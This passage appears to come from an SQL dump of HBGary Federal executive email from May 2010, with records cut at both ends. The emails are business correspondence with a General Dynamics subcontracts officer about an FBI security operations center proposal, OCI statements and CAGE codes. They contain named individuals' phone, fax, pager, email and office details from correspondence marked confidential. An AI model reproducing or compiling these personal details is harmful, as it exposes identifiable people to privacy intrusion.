(IS&T) including its affiliated companies: GD C4 Systems, GD Information Technology and GD Advanced Information Systems (GDAIS). This effort will be executed in the GDAIS company. The organization within GDAIS that is performing on this contract is the Cyber Systems Division (Cyber).\r\n> >\r\n> Figure 1. General Dynamics Advanced Information Systems Organization Structure\r\n>  \r\n> Figure 2 displays the organizational structure of the Cyber Systems Division. The Enterprise Missions Operations (LOB) will have oversight and management of the Information Assurance Section (IAS) Enterprise Security Operations center (ESOC) Support Services project.\r\n> >\r\n> Figure 2. Division Structure of the Cyber Systems Division\r\n>  \r\n>  \r\n>  \r\n>  \r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16026,'aaron_hbgary_com/16026.html'),(6669,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004818.M118503P14101Q1524.eml','\"Greg Hoglund\" <greg@hbgary.com>','2 questions','Greg,\r\n\r\nCan Ted get access to the website to put up HBGary Federal content?  How do you want to work that?\r\n\r\nCan I get access to the stats for Rootkit.  I think we will be able to dual use the site.  Potentially getting funding to do some extra things but not loose control of it.  I am going to talk to someone this week I think will be interested in that arrangement.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13112,'aaron_hbgary_com/13112.html'),(6670,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004819.M685380P14101Q1525.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron and/or\r\nTed,\r\n\r\n&nbsp;\r\n\r\nHave you sent\r\nin your response to the OCI questions and statements and also the Acquisition\r\nRisk questions?&nbsp; I need at least the OCI statement back by 11am today.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr. Specialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction,\r\nMD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly A. \r\nSent: Monday, May 24, 2010 12:08 PM\r\nTo: \'Ted Vera\'; \'Barr Aaron\'\r\nCc: Varga, Joan A.; Arismendi, Charles B.; Lemke, Michelle R.; Brunelli,\r\nRex; Harlow, Douglas M.; Saxty, Lori J.\r\nSubject: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC\r\nEffort\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGood\r\nmorning,\r\n\r\n&nbsp;\r\n\r\nPlease\r\nreview and return the appropriate RFP documents to me no later than COB\r\nToday.&nbsp; If you have any questions, please contact me.\r\n\r\n&nbsp;\r\n\r\nThank you,&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction, MD&nbsp;\r\n20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5512,'aaron_hbgary_com/5512.html'),(6671,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004820.M335557P14101Q1527.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','Kimberly,\r\n\r\nYou should have received 5 attachments from me last night.  We\r\nincluded an OCI statement in our Proposal and attached answers to the\r\nrisk questions.  If you did not receive those or need them in a\r\ndifferent format please let me know and i will resend ASAP.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 25, 2010, at 10:31 AM, \"Hoagland, Kimberly A.\"\r\n wrote:\r\n\r\n>\r\n> Aaron and/or Ted,\r\n>\r\n> Have you sent in your response to the OCI questions and statements and also the Acquisition Risk questions?  I need at least the OCI statement back by 11am today.\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n> 10925 Pump House Road\r\n> Annapolis Junction, MD 20701\r\n> Physical Address:\r\n> 2721 Technology Drive\r\n> Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>\r\n> From: Hoagland, Kimberly A.\r\n> Sent: Monday, May 24, 2010 12:08 PM\r\n> To: \'Ted Vera\'; \'Barr Aaron\'\r\n> Cc: Varga, Joan A.; Arismendi, Charles B.; Lemke, Michelle R.; Brunelli, Rex; Harlow, Douglas M.; Saxty, Lori J.\r\n> Subject: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort\r\n> Importance: High\r\n>\r\n> Good morning,\r\n>\r\n> Please review and return the appropriate RFP documents to me no later than COB Today.  If you have any questions, please contact me.\r\n>\r\n> Thank you,\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n> 10925 Pump House Road\r\n> Annapolis Junction, MD 20701\r\n> Physical Address:\r\n> 2721 Technology Drive\r\n> Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n',13708,'aaron_hbgary_com/13708.html'),(6672,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004820.M583842P14101Q1528.eml','\"Ted Vera\" <ted@hbgary.com>','Re: FBI ESOC','Yes.  I cc&#39;d u on the submission and this was included.Sent from my iPadOn May 25, 2010, at 10:31 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nDid you send this?Begin forwarded message:From: &quot;Petrauskas, Karen J.&quot; &lt;karen.petrauskas@gd-ais.com&gt;\r\n\r\nDate: May 25, 2010 7:42:46 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: FBI ESOC\r\n\r\nTed,    I still need your Key Management personnel listing. T hanksKaren J. Petrauskas Director, Program Security East703-251-7513 (w)\r\n\r\n703-216-7017 (bb) 1-800-200-4798 (pager) GDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-105.  This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties. \r\n\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, May 25, 2010 9:18 AM\r\n\r\nTo: Petrauskas, Karen J.Subject: Re: FBI ESOCNo we do not yet have an FCL.  You can verify our cage code here:https://www.bpn.gov/CCRSearch/detail.aspx?VAR_DUN1=832950831&amp;VAR_DUN2=\r\n\r\nTedOn Tue, May 25, 2010 at 6:47 AM, Petrauskas, Karen J.&lt;karen.petrauskas@gd-ais.com&gt; wrote:\r\n\r\nTed,       I just tried looking up your Cage Code in ISFD but it states &quot;5U1U6 does not exist&quot;.  Do you have a final FCL?  Thanks\r\n\r\nKaren J. PetrauskasDirector, Program Security East\r\n\r\n703-251-7513 (w)703-216-7017 (bb)1-800-200-4798 (pager)\r\n\r\nGDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-105.  This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties.\r\n\r\n-----Original Message-----\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Monday, May 24, 2010 6:48 PM\r\nTo: Petrauskas, Karen J.\r\nSubject: Re: FBI ESOCHi Karen, our cage code is:  5U1U6\r\n\r\nTed\r\n\r\nOn Mon, May 24, 2010 at 1:17 PM, Petrauskas, Karen J.&lt;karen.petrauskas@gd-ais.com&gt; wrote:\r\n\r\nTed,\r\n\r\n        I&#39;m working on the GDAIS FBI ESOC proposal and need to know you CageCode.  Thanks\r\n\r\nKaren J. Petrauskas\r\n\r\nDirector, Program Security East\r\n\r\n703-251-7513 (w)\r\n\r\n703-216-7017 (bb)1-800-200-4798 (pager)\r\n\r\nGDAIS PRIVATE: The information attached or contained within includes\r\n\r\nPersonal Information under General Dynamics policy CP 07-105.  Thisinformation can be accessed only by authorized personnel of General Dynamics\r\n\r\nand its approved service providers and may be used only as permitted by\r\n\r\nGeneral Dynamics and its policies. Contractual restrictions apply to thirdparties.\r\n\r\n--Ted H. Vera\r\n\r\nPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n\r\n',3648,'aaron_hbgary_com/3648.html'),(6673,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004820.M796247P14101Q1529.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal Pricing Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m not seeing the OCI statement.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 25, 2010 12:08 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Ted Vera\r\nSubject: Re: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKimberly,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease find all the required documents from HBGary Federal.\r\n&nbsp;I apologize for their delay.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6727,'aaron_hbgary_com/6727.html'),(6674,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004820.M99927P14101Q1526.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FBI ESOC','Did you send this?Begin forwarded message:From: &quot;Petrauskas, Karen J.&quot; &lt;karen.petrauskas@gd-ais.com&gt;\r\nDate: May 25, 2010 7:42:46 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: FBI ESOC\r\nTed,    I still need your Key Management personnel listing. T hanksKaren J. Petrauskas Director, Program Security East703-251-7513 (w)\r\n703-216-7017 (bb) 1-800-200-4798 (pager) GDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-105.  This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties. \r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, May 25, 2010 9:18 AM\r\nTo: Petrauskas, Karen J.Subject: Re: FBI ESOCNo we do not yet have an FCL.  You can verify our cage code here:https://www.bpn.gov/CCRSearch/detail.aspx?VAR_DUN1=832950831&amp;VAR_DUN2=\r\nTedOn Tue, May 25, 2010 at 6:47 AM, Petrauskas, Karen J.&lt;karen.petrauskas@gd-ais.com&gt; wrote:\r\nTed,       I just tried looking up your Cage Code in ISFD but it states &quot;5U1U6 does not exist&quot;.  Do you have a final FCL?  Thanks\r\nKaren J. PetrauskasDirector, Program Security East\r\n703-251-7513 (w)703-216-7017 (bb)1-800-200-4798 (pager)\r\nGDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-105.  This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties.\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Monday, May 24, 2010 6:48 PMTo: Petrauskas, Karen J.\r\nSubject: Re: FBI ESOCHi Karen, our cage code is:  5U1U6\r\nTed\r\nOn Mon, May 24, 2010 at 1:17 PM, Petrauskas, Karen J.&lt;karen.petrauskas@gd-ais.com&gt; wrote:\r\nTed,\r\n        I&#39;m working on the GDAIS FBI ESOC proposal and need to know you CageCode.  Thanks\r\nKaren J. Petrauskas\r\nDirector, Program Security East\r\n703-251-7513 (w)\r\n703-216-7017 (bb)1-800-200-4798 (pager)\r\nGDAIS PRIVATE: The information attached or contained within includes\r\nPersonal Information under General Dynamics policy CP 07-105.  Thisinformation can be accessed only by authorized personnel of General Dynamics\r\nand its approved service providers and may be used only as permitted by\r\nGeneral Dynamics and its policies. Contractual restrictions apply to thirdparties.\r\n--Ted H. Vera\r\nPresident | COOHBGary Federal719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1809,'aaron_hbgary_com/1809.html'),(6675,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004821.M166300P14101Q1530.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: HBGary Federal Pricing Template','its at the bottom of the proposal, HBGary FBI ESOC.pdf, &nbsp;under Table 2. &nbsp;I can change it easily if it doesn\'t meet requirements.AaronOn May 25, 2010, at 10:50 AM, Hoagland, Kimberly A. wrote:I’m not seeing the OCI statement.&nbsp;&nbsp;&nbsp;Kimberly HoaglandSr. Specialist-Subcontracts&nbsp;General Dynamics Advanced Information Systems, Inc.&nbsp;Mailing Address:&nbsp;10925 Pump House Road&nbsp;Annapolis Junction, MD 20701Physical Address:&nbsp;2721 Technology Drive&nbsp;Annapolis Junction, MD&nbsp; 20701&nbsp;(240) 294-2275 (v)(240) 294-2181 (f)kimberly.hoagland@gd-ais.com&nbsp;P&nbsp;please consider the environment before printing this emailThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, May 25, 2010 12:08 AMTo:&nbsp;Hoagland, Kimberly A.Cc:&nbsp;Ted VeraSubject:&nbsp;Re: HBGary Federal Pricing Template&nbsp;Kimberly,&nbsp;Please find all the required documents from HBGary Federal. &nbsp;I apologize for their delay.&nbsp;Aaron&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16593,'aaron_hbgary_com/16593.html'),(6676,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004821.M383950P14101Q1531.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal Pricing Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGot it, thanks.&nbsp; Could you put that on a separate letter and\r\nshoot it to me?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 25, 2010 10:53 AM\r\nTo: Hoagland, Kimberly A.\r\nSubject: Re: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nits at the bottom of the proposal, HBGary FBI ESOC.pdf,\r\n&nbsp;under Table 2. &nbsp;I can change it easily if it doesn\'t meet\r\nrequirements.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 25, 2010, at 10:50 AM, Hoagland, Kimberly A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m not seeing the OCI statement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKimberly Hoagland\r\n\r\n\r\n\r\n\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMailing\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\n\r\n\r\n\r\n\r\nPhysical\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n\r\n\r\n\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\n\r\n\r\n\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nP&nbsp;please consider the environment\r\nbefore printing this email\r\n\r\n\r\n\r\n\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, May 25,\r\n2010 12:08 AM\r\nTo:&nbsp;Hoagland, Kimberly A.\r\nCc:&nbsp;Ted Vera\r\nSubject:&nbsp;Re: HBGary\r\nFederal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKimberly,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease find all the required documents from HBGary Federal.\r\n&nbsp;I apologize for their delay.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',306,'aaron_hbgary_com/306.html'),(6677,'2010-05-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004823.M568202P14101Q1532.eml','\"Barr Aaron\" <aaron@hbgary.com>','Chairs','\r\n\r\n',13706,'aaron_hbgary_com/13706.html'),(6678,'2010-05-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004825.M596270P14101Q1533.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pics','\r\n\r\n',10859,'aaron_hbgary_com/10859.html'),(6679,'2010-05-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004826.M560616P14101Q1534.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',14596,'aaron_hbgary_com/14596.html'),(6680,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004828.M257806P14101Q1535.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: HBGary Federal Pricing Template','Sure how is this.\r\n\r\n\r\n\r\nOn May 25, 2010, at 11:10 AM, Hoagland, Kimberly A. wrote:\r\n\r\n> Got it, thanks.  Could you put that on a separate letter and shoot it to me?\r\n>  \r\n>  \r\n>  \r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts \r\n> General Dynamics Advanced Information Systems, Inc.\r\n>  \r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>  \r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>  \r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, May 25, 2010 10:53 AM\r\n> To: Hoagland, Kimberly A.\r\n> Subject: Re: HBGary Federal Pricing Template\r\n>  \r\n> its at the bottom of the proposal, HBGary FBI ESOC.pdf,  under Table 2.  I can change it easily if it doesn\'t meet requirements.\r\n>  \r\n> Aaron\r\n>  \r\n> On May 25, 2010, at 10:50 AM, Hoagland, Kimberly A. wrote:\r\n> \r\n> \r\n> I’m not seeing the OCI statement.\r\n>  \r\n>  \r\n>  \r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts \r\n> General Dynamics Advanced Information Systems, Inc.\r\n>  \r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>  \r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>  \r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, May 25, 2010 12:08 AM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Ted Vera\r\n> Subject: Re: HBGary Federal Pricing Template\r\n>  \r\n> Kimberly,\r\n>  \r\n> Please find all the required documents from HBGary Federal.  I apologize for their delay.\r\n>  \r\n> Aaron\r\n>  \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',602,'aaron_hbgary_com/602.html'),(6681,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004828.M503356P14101Q1536.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal Pricing Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks good!&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 25, 2010 11:37 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Ted Vera\r\nSubject: 